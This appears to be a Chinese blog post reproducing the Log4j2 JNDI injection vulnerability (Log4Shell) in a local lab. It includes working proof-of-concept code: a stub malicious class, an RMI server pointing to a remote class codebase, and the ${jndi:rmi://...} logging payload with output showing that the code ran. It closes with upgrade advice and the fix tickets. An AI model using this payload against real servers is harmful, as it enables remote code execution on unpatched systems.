log4j2 lookups issues

2021-12-10 上上周五,log4j2爆出一个严重的代码注入漏洞。
突发!Log4j 爆“核弹级”漏洞,Flink、Kafka等至少十多个项目受影响

看完报道,感觉挺严重,抱着试试看的心态打开intellij想复现表达式注入,结果失败了。
表达式并没有被执行,而是字符串打印了出来,当时下意识感觉和jdk版本有关联,后边证实了我的想法。

1
logger.info("hello {}", "${java:os}");

上周刷视频看到有人介绍这个漏洞,跟着复现了一遍jndi-rmi注入攻击。

Log4j高危漏洞!具体原因解析!全网第一!-哔哩哔哩
Log4j高危漏洞 (补充视频)-哔哩哔哩

rmi 恶意代码服务器

先写个恶意类,注意不要带包路径

1
2
3
4
5
6
7
8
public class EvilObj {

static {
System.out.println("Hi i'm evil");
// TODO evil things
}

}

再搞个rmi服务

1
2
3
4
5
6
7
8
9
10
11
public class App {

public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1019);
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1019);
ReferenceWrapper wrapper = new ReferenceWrapper(
new Reference("EvilObj", "EvilObj", "http://127.0.0.1:8000/"));
registry.bind("evil", wrapper);
}

}

  • Reference 构造方法的前两个参数为类名和工厂名EvilObj
  • Reference 构造方法的第三个参数http://127.0.0.1:8000/为类文件的获取地址
    这里我用的是python 2.7命令 python -m SimpleHTTPServer
  • registry 绑定参数evil是rmi接口的上下文

启动主类App,再在classes编译目录下为EvilObj.class启动文件服务器。
至此恶意代码服务器部分就告一段落,它主要用来给注入代码打配合,让目标服务器加载运行远程代码

单元测试模拟被注入服务器

在第二个补充视频的评论区发现,漏洞确实和jdk版本有关
继续查资料,在JAVA JNDI注入知识详解中看到:

在jdk8u121 7u131 6u141版本开始默认com.sun.jndi.rmi.object.trustURLCodebase设置为false,rmi加载远程的字节码不会执行成功。

低版本log4j2 + 低版本jdk

1
2
3
4
5
6
/**
* java: 1.7.0_80-b15
* log4j2: 2.10.0
*/
String rmi = "${jndi:rmi://127.0.0.1:1019/evil}";
logger.info("remote {}", rmi);

控制台输出:

1
2
Hi i'm evil
[INFO ] B.log4j2 remote ${jndi:rmi://127.0.0.1:1019/evil}

成功注入恶意代码

低版本log4j2 + 高版本jdk

1
2
3
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String exp = "${jndi:rmi://127.0.0.1:1019/evil}";
logger.info("remote {}", exp);

主动设置rmi系统属性后,高版本jdk下依然可以对低版本log4j2注入代码

总结

这确实是个非常严重的漏洞,鉴于log4j的广泛应用,有较高的概率会中招。
如果工程使用log4j2的版本低于2.15.0,请务必要尽快升级。
如果工程使用jdk版本过低,由于2.15.0需要jdk8,jdk/jre也必须要升级以修复漏洞。


Issue

LOG4J2-3198: Message lookups should be disabled by default
https://gitbox.apache.org/repos/asf?p=logging-log4j2.git;h=04637dd

LOG4J2-3201: Limit the protocols JNDI can use and restrict LDAP.
LOG4J2-3202: Only allow lookups in message, not in parameters.


Manual

https://logging.apache.org/log4j/2.x/changes-report.html
https://logging.apache.org/log4j/2.x/manual/appenders.html
https://logging.apache.org/log4j/2.x/manual/lookups.html


Code

JAVA JNDI注入知识详解
https://github.com/BurningBright/poc/tree/master/log4j